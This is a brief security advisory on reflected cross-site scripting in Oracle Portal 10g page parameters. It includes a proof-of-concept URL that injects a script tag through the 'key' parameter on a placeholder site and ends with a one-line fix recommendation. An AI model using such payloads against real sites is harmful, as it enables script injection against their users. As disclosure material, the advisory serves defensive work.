Description:  
  
When programmers code with Oracle Portal, they may use page parameters supported by Oracle Portal.  
By default, these parameters have the xss bug. If the programmers don't filter or process these parameters before using,   
the attacker maybe exploit via this xss bug.  
  
Exploit : (tested Oracle Portal 10g 10.0.0.x)  
For example, we have site : http://somesite.com used Oracle Portal 10g and this site is using key - page parameter(by default).  
...key="><script>alert('xss_bug_found');</script>  
http://somesite.com/portal/page?_pageid=<pageid>&_dad=portal&_schema=<schema>&key="><script>alert('xss_bug_found');</script>  
  
Solution:  
  
Filter or process all the page parameters.
